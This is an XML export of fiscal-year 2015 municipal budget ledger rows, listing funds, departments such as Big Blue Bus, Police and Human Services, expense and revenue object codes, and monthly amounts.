<row _id="15147"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4911227.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4911227.0</total></row>
<row _id="15148"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>129776.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>129776.0</total></row>
<row _id="15149"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4910.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4910.0</total></row>
<row _id="15150"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>550.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>550.0</total></row>
<row _id="15151"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>105.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>105.0</total></row>
<row _id="15152"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577960.0</object><object_description>ARTS TRANSFER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>160000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>160000.0</total></row>
<row _id="15153"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>436.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>436.0</total></row>
<row _id="15154"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15155"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8282.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8282.0</total></row>
<row _id="15156"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561700.0</object><object_description>TEMP RELOCATION FOOD PROVIDERS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12306.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12306.0</total></row>
<row _id="15157"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>523029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>523029.0</total></row>
<row _id="15158"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7249.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7249.0</total></row>
<row _id="15159"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="15160"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>340139.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>340139.0</total></row>
<row _id="15161"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6528.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6528.0</total></row>
<row _id="15162"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>29880.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29880.0</total></row>
<row _id="15163"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>33560.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>33560.0</total></row>
<row _id="15164"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4032.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4032.0</total></row>
<row _id="15165"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>883.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>883.0</total></row>
<row _id="15166"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2693.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2693.0</total></row>
<row _id="15167"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555016.0</object><object_description>CONTRA SVCS-CIVIC PARKING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15168"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>21268.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21268.0</total></row>
<row _id="15169"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>98565.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>98565.0</total></row>
<row _id="15170"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>87580.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>87580.0</total></row>
<row _id="15171"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>93562.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>93562.0</total></row>
<row _id="15172"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>203408.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>203408.0</total></row>
<row _id="15173"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561406.0</object><object_description>DIRECT SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15174"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403830.0</object><object_description>SUPPORTIVE HOUSING PROGRAM GR</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15175"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1099.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1099.0</total></row>
<row _id="15176"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1041.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1041.0</total></row>
<row _id="15177"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2196.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2196.0</total></row>
<row _id="15178"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1220.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1220.0</total></row>
<row _id="15179"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577960.0</object><object_description>ARTS TRANSFER</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-160000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-160000.0</total></row>
<row _id="15180"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>408000.0</object><object_description>INTERFUND SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-172030.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-172030.0</total></row>
<row _id="15181"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407720.0</object><object_description>ENCLOSURE PLAN CHECK FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-62300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-62300.0</total></row>
<row _id="15182"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15183"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>21100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21100.0</total></row>
<row _id="15184"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3408.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3408.0</total></row>
<row _id="15185"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7081.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7081.0</total></row>
<row _id="15186"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1673.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1673.0</total></row>
<row _id="15187"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4172.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4172.0</total></row>
<row _id="15188"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4813.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4813.0</total></row>
<row _id="15189"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1018.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1018.0</total></row>
<row _id="15190"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2176.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2176.0</total></row>
<row _id="15191"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578310.0</object><object_description>POLICE BEACH PATROL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>428995.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>428995.0</total></row>
<row _id="15192"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401610.0</object><object_description>LIBRARY CAFE RENT</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-36300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-36300.0</total></row>
<row _id="15193"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>566260.0</object><object_description>SPECIAL EVENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="15194"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>401100.0</object><object_description>VIDEO ARCHIVE/WEB HOSTING SVC</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-7200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7200.0</total></row>
